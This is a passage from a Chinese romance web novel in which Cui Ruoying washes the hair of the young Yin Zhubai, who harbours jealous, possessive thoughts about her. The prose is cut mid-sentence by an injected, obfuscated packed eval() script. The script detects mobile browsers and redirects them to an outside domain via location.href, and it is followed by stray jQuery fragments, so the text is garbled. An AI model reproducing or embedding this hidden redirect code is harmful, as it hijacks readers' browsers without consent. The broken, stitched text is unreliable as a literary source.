命令多么奇怪、多么不正当,哪怕是要他去死,他也会去做的。
温热柔软的水渗入头发,黑亮的发丝浸入水中,像是一条有着黑色鳞片的蛇,在阳光与潋滟水波的间隙中爬行。
崔若盈把水涂满他的发丝。于是,他的发丝愈发的亮,发丝与发丝之间,闪烁着蜻蜓翅膀一样的鳞光。
他瑟缩了一下。
不知道是因为水温低了,还是不习惯他人的触碰。
木盆中装满了水。温柔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809560|156401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的水波抚摸着他的脸庞,一上一下,十分轻缓。殷逐白睁大了眼,水浸到他的眼睛里,濡湿纤长的睫毛。
眼睛有些痛,甚至开始泛红。
但殷逐白没有闭眼。他透过一层半透明的水面,眼睛一眨不眨地看着崔若盈,似乎想将她的所有动作与表情都收入眼底。
他要看着崔若盈。
一直,一直。
崔若盈没注意到他那点小心思。她把他的头按在木盆中,用指尖拨弄着摇晃的水波,看着水面上破碎的阳光,思绪随之发散。
她想到了殷逐白——那个成年的殷逐白——的那一头黑发。
他总是一本正经地束着头发,好像把头发板板正正地梳着,再套上一件亮堂堂的衣裳,就能变成一个正人君子似的。
崔若盈摸过殷逐白的头发。实话实说,他的头发像是她手中的水波一般,温柔而光滑。
可惜,她不敢多摸。
想到这里,崔若盈忽然笑了起来。
手下传来轻轻的一声闷哼。崔若盈回过神,垂头向下看去。原来她刚刚想得入神,不小心扯掉了殷逐白的几根头发。
柔软的发丝缠在她的指尖,一圈又一圈,像是黑色的绳索。殷逐白半张脸还浸在水中,只能露出小半个白皙美丽的侧脸。
“姑姑。”水光荡漾中,他轻轻开口,“你刚刚在想谁?”
他看到了。
他分明看到了。
崔若盈刚才笑了。那灿烂的、仿佛朝阳的笑容,即使只出现了一瞬间,他也会将其永远铭记在心。
一定是谢流玉!
他的心又难以自抑地狂跳起来。嫉恨的情绪来得那么快,几乎在一瞬间就将他的理智冲垮了。
但是不行。
殷逐白还记得她的警告。
他要换种方法——换种更能讨好人的办法。
就像是他父亲讨好他母亲时的那样。
殷逐白深吸一口气,什么都没有说,脸上却刻意地露出郁卒的神色。他将头浸到水面下,潋滟的水波顿时将他淹没。日光在盆中荡来荡去,顷刻破碎。
崔若盈看他这样子,稍微有点心虚。毕竟刚才是她扯掉了他的头发,把他扯痛了。
“也……没想谁啊。”她咳了一声,“就是想到一个,额,一个人,长得和你有点像。”
和他长得有点像?!
殷逐白心中警铃大作,刚要说点什么,就听崔若盈道:“不过现在他不在了。”
原来是死了。
殷逐白脊背松下来,微微阖了阖眼。
死得好,死得妙。
虽然他并不知道那个人是谁。
崔若盈完全不知道殷逐白正在心里咒他自己死。
她从系统背包里翻出一瓶洗发水,在殷逐白的头发上狠狠挤了不少。再不用,这瓶花能量兑换出来的洗发水就过期了。
“闭上眼睛。”
殷逐白听话地闭上眼。
眼前只剩一片黑暗。暖烘烘的阳光透过眼皮,点点光芒点缀在黑暗中。眼睛闭上,其他的感官突然变得敏锐起来。
他感受到她的手指在他发间穿梭,带来些许痒意。与那直刺心底